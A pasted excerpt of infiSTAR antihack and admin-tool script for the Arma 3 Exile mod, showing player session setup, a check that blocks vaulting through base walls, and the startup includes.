  12584. _sessionId = call ExileServer_system_session_createId;
  12585. ExileSessionIDs pushBack _sessionId;
  12586. [_sessionID, _newUnit] call ExileServer_system_session_update;
  12587. _newUnit call ExileServer_object_player_database_update;
  12588. _newUnit spawn {uiSleep 10;if(!isNull _this)then{_this call ExileServer_object_player_database_update;};};
  12589.  
  12590. _newUnit setPosATL _posATL;
  12591. _newUnit setDir _direction;
  12592. true
  12593. ";
  12594.  
  12595.  
  12596.  
  12597.  
  12598.  
  12599.  
  12600.  
  12601.  
  12602. fnc_infiSTAR_stopvaultglitch = compileFinal "
  12603. _key = _this select 1;
  12604. if(_key in actionKeys 'GetOver')exitWith
  12605. {
  12606. _exiledist = 4;
  12607.  
  12608. if(cursorTarget distance player < _exiledist && (cursorTarget isKindOf 'Exile_Construction_Abstract_Static' || cursorTarget isKindOf 'AbstractConstruction'))exitWith
  12609. {
  12610. if(isNil'vaultblockcounter')then{vaultblockcounter=0;};
  12611. vaultblockcounter = vaultblockcounter + 1;
  12612. cutText [format['<infiSTAR.de>%1: Blocked VAULT - Exile Basepart close #1!',vaultblockcounter],'PLAIN'];
  12613. true
  12614. };
  12615.  
  12616. _close = nearestObjects [player, ['Exile_Construction_Abstract_Static','AbstractConstruction'],_exiledist];
  12617. if!(_close isEqualTo [])exitWith
  12618. {
  12619. if(isNil'vaultblockcounter')then{vaultblockcounter=0;};
  12620. vaultblockcounter = vaultblockcounter + 1;
  12621. cutText [format['<infiSTAR.de>%1: Blocked VAULT - Exile Basepart close #2!',vaultblockcounter],'PLAIN'];
  12622. true
  12623. };
  12624.  
  12625. cutText ['','PLAIN'];
  12626. };
  12627. false
  12628. ";
  12629. publicVariable "fnc_infiSTAR_stopvaultglitch";
  12630.  
  12631.  
  12632.  
  12633.  
  12634.  
  12635.  
  12636.  
  12637.  
  12638.  
  12639.  
  12640.  
  12641. fnc_debugbox_new = compileFinal (preprocessFileLineNumbers '\a3_infiSTAR_Exile\debug.sqf');
  12642. diag_log format["<infiSTAR.de> %1 - STARTUP - including AdminTools",time];
  12643. #include "EXILE_AT.sqf"
  12644. diag_log format["<infiSTAR.de> %1 - STARTUP - AdminTools included!",time];
  12645. diag_log format["<infiSTAR.de> %1 - STARTUP - including AntiHack",time];
  12646. #include "EXILE_AH.sqf"
  12647. diag_log format["<infiSTAR.de> %1 - STARTUP - AntiHack included!",time];
  12648. comment "Antihack & AdminTools - Christian Lorenzen - www.infiSTAR.de";
  12649. truea3_infiSTAR_Exile ÌÏhŽÌNën©GA”ú=6h†n
Add Comment
Please, Sign In to add comment